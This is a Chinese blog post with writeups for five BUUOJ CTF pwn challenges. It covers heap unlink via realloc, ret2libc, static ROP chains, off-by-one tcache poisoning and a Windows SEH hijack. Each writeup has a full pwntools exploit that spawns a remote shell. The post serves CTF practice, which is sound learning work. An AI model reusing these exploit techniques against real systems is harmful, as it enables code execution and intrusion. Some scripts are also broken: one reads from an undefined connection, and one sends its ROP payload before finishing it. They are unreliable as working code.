buuoj Pwn writeup 226-230

编辑操作引发的内存重组：漏洞利用与exploit详解
最新推荐文章于 2022-07-12 14:51:27 发布
原创 最新推荐文章于 2022-07-12 14:51:27 发布 · 469 阅读 · 0 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#网络安全

本文详细解析了内存管理中的realloc操作，特别关注编辑操作导致的内存合并与重新分配，以及在226jarvisoj_guestbook2和227安洵杯_2018_neko等竞赛题目中的应用。通过实例展示了如何利用realloc的特性进行UAF和栈溢出，以及如何在229ciscn_2019_n_4中利用got表修改实现offbyone攻击。

226 jarvisoj_guestbook2

在这里插入图片描述
刚开始是初始化。
在这里插入图片描述每个chunk的信息啥的，都申请了一个大的chunk都写在了里面。

list
在这里插入图片描述add
在这里插入图片描述

edit
在这里插入图片描述
free
在这里插入图片描述
跟
jarvisoj_level6_x64
有血缘关系。

问题出在edit的realloc上面。
我们先来看一下realloc。

size == 0 ，这个时候等同于free
realloc_ptr == 0 && size > 0 ， 这个时候等同于malloc
malloc_usable_size(realloc_ptr) >= size， 这个时候等同于edit
malloc_usable_size(realloc_ptr) < szie， 这个时候才是malloc一块更大的内存，将原来的内容复制过去，再将原来的chunk给free掉

在这个题里面当我们realloc的时候如果size大于ptr的size，会首先将原来的chunk释放掉，然后再找一个更大的chunk分配给它，返回这个chunk的地址，但是我们要注意，这里的找一个更大的chunk，有两种不同情况。
1、如果有足够空间用于扩大mem_address指向的内存块，则分配额外内存，并返回mem_address
这里说的是“扩大”，我们知道，realloc是从堆上分配内存的，当扩大一块内存空间时， realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节，如果能够满足，自然天下太平。也就是说，如果原先的内存大小后面还有足够的空闲空间用来分配，加上原来的空间大小＝ newsize。那么就ok。得到的是一块连续的内存。
2、如果原先的内存大小后面没有足够的空闲空间用来分配，那么从堆中另外找一块newsize大小的内存。

我们这道题用到的情况显然是后者。
我们在做题的时候首先申请了5个chunk，然后free掉了2、4.接着对chunk1进行了一次大于chunksize的edit，那么造成的结果是什么，首先释放了chunk1的地址，然后试图寻找对上现存的能用的空间，就找到了2,因为他是空闲的，于是合并再一次，分配给chunk1.所以虽然你是edit的0x90，但是其实返回的chunk是1、2合并起来的0x120.

然后伪造好chunk，做一个unlink就好了。

确实有个uaf，但是好像跟他也没什么关系。

exp

#!/usr/bin/env python
from pwn import *

context.log_level = "debug"

r = remote('node4.buuoj.cn','28138')

elf = ELF('./226')
libc = ELF('./64/libc-2.23.so')

def show():
    r.recvuntil('Your choice: ')
    r.sendline('1')
def add(size, note):
    r.recvuntil('Your choice: ')
    r.sendline('2')
    r.recvuntil('Length of new post: ')
    r.sendline(str(size))
    r.recvuntil('Enter your post: ')
    r.sendline(note)
def edit(index, size, note):
    r.recvuntil('Your choice: ')
    r.sendline('3')
    r.recvuntil('Post number: ')
    r.sendline(str(index))
    r.recvuntil('Length of post: ')
    r.sendline(str(size))
    r.recvuntil('Enter your post: ')
    r.send(note)
def free(index):
    r.recvuntil('Your choice: ')
    r.sendline('4')
    r.recvuntil('Post number: ')
    r.sendline(str(index))

free_got = elf.got['free']

add(0x80,0x80 * 'a')    # chunk 0
add(0x80,0x80 * 'a')    # chunk 1
add(0x80,0x80 * 'a')    # chunk 2 
add(0x80,0x80 * 'a')    # chunk 3 
add(0x80,0x80 * 'a')    # chunk 4 
edit(4,len("/bin/sh\x00"),"/bin/sh\x00")

#gdb.attach(r)

free(3)
free(1)

payload = 0x90 * 'a'
edit(0,len(payload),payload)
show()
#show the heap_addr
#two unsorted_bin chunk linked

r.recvuntil(0x90 * 'a')
heap_0 = u64(r.recvuntil('\x0a') + '\x00\x00\x00\x00') - 0x19a0
heap_4 = heap_0 + 0x1a40

fd = heap_0 - 0x18
bk = heap_0 - 0x10
payload = p64(0) + p64(0x80)
payload += p64(fd) + p64(bk)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80) + p64(0x90)
edit(0,len(payload),payload)

free(1)
#这个free就是用到realloc造成堆溢出之后造成的unlink

payload = p64(2) + p64(1) + p64(0x8) + p64(free_got)    #chunk0 size改为0x8
payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
payload = payload.ljust(0x90,'\x00')
edit(0,len(payload),payload)

show()
free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']

print hex(libc_base)

payload = p64(system)
edit(0,len(payload),payload)

r.interactive()

227 安洵杯_2018_neko

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
栈溢出还有system函数。

exp

from pwn import*

context.log_level = "debug"

r = remote("node4.buuoj.cn", "27847")

elf = ELF("./227")
libc = ELF("./32/libc-2.27.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
play = 0x80486e7

r.sendlineafter("Hey!Do you like cats?\n", "y")
payload = 'a' * 0xd4 + p32(puts_plt) + p32(play) + p32(puts_got)
r.sendlineafter("Help this cat found his anchovies:\n", payload)

puts_addr = u32(r.recvuntil("\xf7")[-4:])
libc_base = puts_addr - libc.sym['puts']
bin_sh = libc_base + libc.search("/bin/sh").next()
system_addr = libc_base + libc.sym['system']
print "puts_addr = " + hex(puts_addr)
print "libc_base = " + hex(libc_base) 


payload = "a" * 0xd4 + p32(system_addr) * 2 + p32(bin_sh)
r.sendlineafter("Help this cat found his anchovies:\n", payload)

r.interactive()

这道题刚开始的时候似乎是没有给环境的，libcsearcher也找不到，找到了不用泄露libc的exp，学习学习。

exp

from pwn import*

context.log_level = 'debug'

#sh = process('./neko')
sh = remote("node4.buuoj.cn", "27847")

sys_plt  = 0x08048410
data_addr = 0x0804A028

mov_ecx_edx  = 0x0804884c
xchg_ecx_edx = 0x08048842
xor_edx_edx  = 0x0804882a
xor_edx_ebx  = 0x08048834
pop_ebx      = 0x080483dd


payload = "A"*0xd0 + "A"*0x4
#-------------------------------------#
# addr -> ecx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += p32(data_addr)
payload += p32(xor_edx_ebx)
payload += "B"*0x4
payload += p32(xchg_ecx_edx)
payload += "B"*0x4 

# data -> edx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += "/bin"
payload += p32(xor_edx_ebx)
payload += "B"*0x4

# edx -> ecx
payload += p32(mov_ecx_edx)
payload += "B"*0x4
payload += p32(0)


# addr+4 -> ecx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += p32(data_addr + 4)
payload += p32(xor_edx_ebx)
payload += "B"*0x4
payload += p32(xchg_ecx_edx)
payload += "B"*0x4

# data -> edx
payload += p32(xor_edx_edx)
payload += "B"*0x4
payload += p32(pop_ebx)
payload += "/sh\x00"
payload += p32(xor_edx_ebx)
payload += "B"*0x4

# edx -> ecx
payload += p32(mov_ecx_edx)
payload += "B"*0x4
payload += p32(0)


sh.recv()
sh.sendline(payload)

sh.interactive()
payload += p32(sys_plt)
payload += "B"*0x4

payload += p32(data_addr)

sh.recv()
sh.send('y')

sh.recv()
sh.sendline(payload)

sh.interactive()

228 mrctf2020_nothing_but_everything

在这里插入图片描述
这题真绝，给的程序是静态的，没有一点输出，符号表也没有，功能漏洞全靠猜。

我们首先判断程序是先输入个啥，然后进入一大堆输入的地方。
找到第二次输入，动态调试。

在这里插入图片描述rdx是0x300
在这里插入图片描述明显看到栈大小是0x70，有溢出，我们直接 用ROPgadget就行。

exp

from pwn import *
from struct import pack

def exp():

        r = remote('node4.buuoj.cn', 28242)
        r.sendline("1")
        sleep(1)

        p = 'a' * 120

        p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
        p += pack('<Q', 0x00000000006b90e0) # @ .data
        p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
        p += '/bin//sh'
        p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
        p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
        p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
        p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
        p += pack('<Q', 0x000000000047f261) # mov qword ptr [rsi], rax ; ret
        p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
        p += pack('<Q', 0x00000000006b90e0) # @ .data
        p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
        p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
        p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
        p += pack('<Q', 0x00000000006b90e8) # @ .data + 8
        p += pack('<Q', 0x0000000000444840) # xor rax, rax ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x00000000004746b0) # add rax, 1 ; ret
        p += pack('<Q', 0x000000000040123c) # syscall

        r.sendline(p)
        
        r.interactive()

exp()

229 ciscn_2019_n_4

在这里插入图片描述got表可以修改，pie也没开。

add
在这里插入图片描述bss段里面先是申请了一个一个0x10大小的chunk，前八个字节放着size，后八个字节放着申请到的chunk的地址。

edit
在这里插入图片描述有个off by one

show
在这里插入图片描述
正常show

delete
在这里插入图片描述有uaf，但是限制比较多，因为size清零了。

所以这道题说白了就是一个off by one。
因为got表也可以修改，所以就随便攻击。

exp


from pwn import *

context.log_level = "debug"

r = remote('node4.buuoj.cn',28709)
#r = process("./229")
libc = ELF('./64/libc-2.27.so')
#libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1.2_amd64/libc.so.6")

def add(size,content):
    r.sendlineafter(':','1')
    r.sendlineafter(' ?',str(size))
    r.sendlineafter('nest?',content)

def edit(idx,content):
    r.sendlineafter(':','2')
    r.sendlineafter(' :',str(idx))
    r.sendafter('nest?',content)

def show(idx):
    r.sendlineafter(':','3')
    r.sendlineafter('Index :',str(idx))

def delete(idx):
    r.sendlineafter(':','4')
    r.sendlineafter('Index :',str(idx))

add(0x410,'aaaa')#0
add(0x10,'/bin/sh\x00')#1

delete(0)
add(0x18,'')#0
show(0)
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF) - 0x1000
#这里接受到的跟unsorted bin里面的地址不一样
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)

add(0x10,'aaaa')#2
add(0x10,'/bin/sh\x00')#3
add(0x10,'aaaa')#4

edit(0, 'a'* 0x10 + p64(0x40) + '\x81')
delete(3)
delete(2)
#gdb.attach(r)
add(0x71,'a'*0x38+p64(0x21)+p64(free_hook))#2
#gdb.attach(r)

add(0x10,p64(system_addr)) #3

delete(1)

r.interactive()

230 [Windows][HITB GSEC]BABYSTACK

第一道winpwn，拖到IAD看一下逻辑。

在这里插入图片描述给了main函数跟stack的地址，明显有个溢出。所以我们按照一般的思路，去伪造SEH，具体点说是scope table结构体来劫持异常程序流，最后制造异常来get shell。
参考了这个链接

exp参考了EX大佬。

from pwn import *
 
context.arch = 'i386'
 
r = remote('node4.buuoj.cn', 25882)
 
def get_value(addr):
    r.recvuntil('Do you want to know more?')
    r.sendline('yes')
    r.recvuntil('Where do you want to know')
    r.sendline(str(addr))
    r.recvuntil('value is ')
    return int(r.recvline(), 16)
 
r.recvuntil('stack address =')
result = r.recvline()
stack_addr = int(result, 16)
r.recvuntil('main address =')
result = r.recvline()
main_address = int(result, 16)
 
security_cookie = get_value(main_address + 12116)
 

r.sendline('n')
next_addr = stack_addr + 212
 
SCOPETABLE = [
    0x0FFFFFFFE,
    0,
    0x0FFFFFFCC,
    0,
    0xFFFFFFFE,
    main_address + 733,
]
 
payload = 'a' * 16 + flat(SCOPETABLE).ljust(104 - 16, 'a') + p32((stack_addr + 156) ^ security_cookie) + 'c' * 32 + p32(next_addr) + p32(main_address + 944) + p32((stack_addr + 16) ^ security_cookie) + p32(0) + 'b' * 16
r.sendline(payload)
r.recvline()
r.sendline('yes')
r.recvuntil('Where do you want to know')
r.sendline('0')
 
r.interactive()
【PWN系列】 Buucf babyheap_0ctf_2017 Writeup
Vicl1fe的博客
11-27 787
个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 参考网址： https://www.cnblogs.com/luoleqi/p/12349714.html 分析 参考网址说的已经不错了，主要问题出现在fill功能，只要chunk存在，即可写任意长度的字符。 主要还是利用fasbin attack和unsorted的特性(下面会说到)来修改__malloc_hook拿到shell。 这里我来实际走一遍exp的流程，下面的exp我用的是本地的libc。 利用 下面的代码定
[BUUCTF-pwn]——x_ctf_b0verfl0w
Y_peak的博客
03-27 782
[BUUCTF-pwn]——x_ctf_b0verfl0w 很简单的一个ret2libc题型，利用栈溢出，构造循环调用 第一次leek地址，之后就可以构造我们想要的rop链了 exploit from pwn import * from LibcSearcher import * #p = process('./b0verfl0w') p = remote('node3.buuoj.cn',26806) elf = ELF('./b0verfl0w') context.log_level = 'debug
buuctf-pwn write-ups (1)
CoLin的pwn小屋
05-01 534
buuctf-pwn 001-016题wp
buuctf-pwn write-ups (4)
CoLin的pwn小屋
06-12 591
buuctf 032-038题题解，重点关注038题 pwnable_orw
[MRCTF2020]：千层套路
qq_47875210的博客
07-12 2174
opencv+pil解析像素点，zip套娃。
buuctf-pwn write-ups (2)
CoLin的pwn小屋
05-07 356
buuctf-pwn 017-026题wp，重点关注babyheap
BUUCTF-PWN-Writeup-1-5
feng的博客
01-20 3470
前言 开始刷一刷Buuctf的PWN题，一遍学一遍刷题了。 其实主要是堆学的顶不住了。。。一个下午才搞懂一个知识点，太tm的难了。 test_your_nc from pwn import * from LibcSearcher import * context(log_level="debug",os="linux") p = remote('node4.buuoj.cn',27517) p.interactive() rip 坑。。。。 一个gets的栈溢出，后门函数fun()在0x401186，本
buuoj Pwn writeup 106-110
yongbaoii的博客
03-08 406
106 zctf2016_note2 保护 107 suctf_2018_basic pwn 保护 ret2text？ exp from pwn import * context.log_level='debug' r = remote('node3.buuoj.cn',29514) flag_addr = 0x401157 payload = 'a' * 0x118 + p64(flag_addr) r.sendline(payload) r.interactive() 108 wdb_201
buuoj Pwn writeup 201-205
yongbaoii的博客
08-31 586
201 bbctf_2020_write canary是没有开的。环境是2.27的一个环境。 可以看到首先进去会给一个puts的地址，然后我们就可以获得libc的基地址。 又给出了一个栈地址，我们考虑可以直接去劫持got表，但是发现got表不能写。 那我们去考虑劫持main函数返回地址，但是又发现最后用exit去结束的。 exit没有hook，我们考虑怎么能把exit劫持掉。 劫持exit 简单点说就是。 exit()->__run_exit_handlers->_dl_fini->_
buuoj Pwn writeup 71-75
yongbaoii的博客
02-23 383
71 hitcontraining_heapcreator 保护 菜单 create edit show delete 72 [V&N2020 公开赛]babybabypwn 保护 这一堆东西，加了沙箱。 程序也是稀奇古怪。 先给了puts的地址。 syscall参数是15的话时调用的sigreturn。 平常我们是先调用signal，再调用sigreturn。 但是这个里面我们是直接调用的sigreturn，所以会把buf里面的东西返回成寄存器的状态。 因为禁用了execve，所以我们
buuoj Pwn writeup 161-165
yongbaoii的博客
05-30 457
161 picoctf_2018_echooo 就是格式化字符串 flag被读到了栈上，直接泄露就行。 # -*- coding: utf-8 -*- from pwn import * context.log_level = "debug" r = remote('node3.buuoj.cn',25088) offset=11 flag='' for i in range(27,27+11): payload='%{}$p'.format(str(i)) r.sendlin
buuoj Pwn writeup 171-175
yongbaoii的博客
06-09 433
171 wdb_2018_1st_babyheap add edit 只能编辑三次。 show free 简单的uaf。 我们可以通过unlink来泄露地址，劫持free_hook。 要注意的是它自己写的一个输入函数。 要么就回车截断，要么就输入32个。所以我们在写exp的时候如果是32字节，就不要加回车，如果不够32个字节，就一定要加回车，不然输入是截断不了的。 先通过double free泄露地址，然后把heap_base + 0x10的chunk申请到。并且把heap_base再挂进去。 将h
buuctf-pwn write-ups (3)
CoLin的pwn小屋
05-15 347
buuctf pwn 027-031题
buuctf-pwn write-ups (5)
CoLin的pwn小屋
06-17 352
buuctf-pwn 039~046题
buuctf-pwn write-ups (6)
CoLin的pwn小屋
06-24 1226
buuctf-pwn 047~053题，重点关注第53题的C++ pwn
buuctf-pwn write-ups (9)
CoLin的pwn小屋
07-04 316
buuctf-pwn 067~072题题解
BUUCTF：[Black Watch 入群题]PWN（write up）
qq_44768749的博客
08-23 1049
BUUCTF：[Black Watch 入群题]PWN0x01 文件分析0x02 运行0x03 IDA0x04 思路0x05 exp0x06 栈迁移补充32位程序 0x01 文件分析 开启了栈不可执行 0x02 运行 运行一下没什么特殊的，猜测应该是栈溢出 0x03 IDA 虽然buf在栈上但输入的长度仅仅能够覆盖ebp和返回地址，但s在bss段，而且输入的长度也够长，因此想到了栈迁移，覆盖vul_function返回地址，使其到bss段上执行 0x04 思路 s在bss段上的地址为0
[PWN] BUUCTF not_the_same_3dsctf_2016 1 Writeup
Csome
05-21 658
解题 checksec 先checksec一下，发现没有开canary方便了栈溢出，PIE也没开 反编译 IDA反编译 main函数 get_secret函数 分析利用 程序先进入main函数，有一个gets（无限长度的栈溢出） get_secret函数是将flag.txt读入bss段中，并没有做输出的操作 思路：，在main函数中修改main函数的返回地址，返回到get_secret函数中，读取flag，再返回到mian函数中（第二次进入main函数），修改返回地址为printf的地址，传入flag
buuctf [第五空间2019 决赛]PWN5 writeup
yajuanpi4899的博客
01-16 2214
一、题目速阅 拿到题目，进行check 得到信息，可知开启了金丝雀，32位 IDA进行反编译： 题目分析：该题逻辑是将dword_804C044中值与第二次输入的passwd进行校对，如果相等则执行system("/bin/sh")，确认payload目标：使第二次值相等，而可以看到printf中有格式化字符串，根据此构建payload。 二、知识要点 格式化字符串漏洞： 利用常用方式检索字符在栈上偏移量： 如图所示，41414141即AAAA，可以看到距离AAAA偏移10位 可..
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值